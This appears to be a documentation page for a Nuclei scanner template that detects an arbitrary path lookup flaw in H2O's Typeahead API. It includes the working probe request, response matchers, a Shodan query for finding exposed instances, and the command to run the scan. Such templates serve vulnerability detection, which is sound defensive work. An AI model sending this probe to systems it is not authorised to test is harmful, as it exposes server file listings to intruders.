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Nuclei Templates

H2O - Arbitrary Path Lookup

ID: h2o-arbitary-file-read

Severity: medium

Author: danmcinerney,byt3bl33d3r

Tags: h2o-3,h2o,info-leak,lfi,misconfig

Description

Section titled “Description”

H2O allows for arbitrary path lookup via it’s Typehead API endpoint

YAML Source

Section titled “YAML Source”
id: h2o-arbitary-file-read


info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
    cpe: cpe:2.3:a:h2o:h2o:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"H2O Flow"
    product: h2o
    vendor: h2o
  tags: h2o-3,h2o,info-leak,lfi,misconfig


http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200ca1dfc9ab34a56ffebb2750058133b33208a4599da25bb74a3f400a5c116998022100b429182f10a7bb15e63de5efa7077906f04723ca8b39ab88e064d42a7f71ef9a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/h2o/h2o-arbitary-file-read.yaml"

View on Github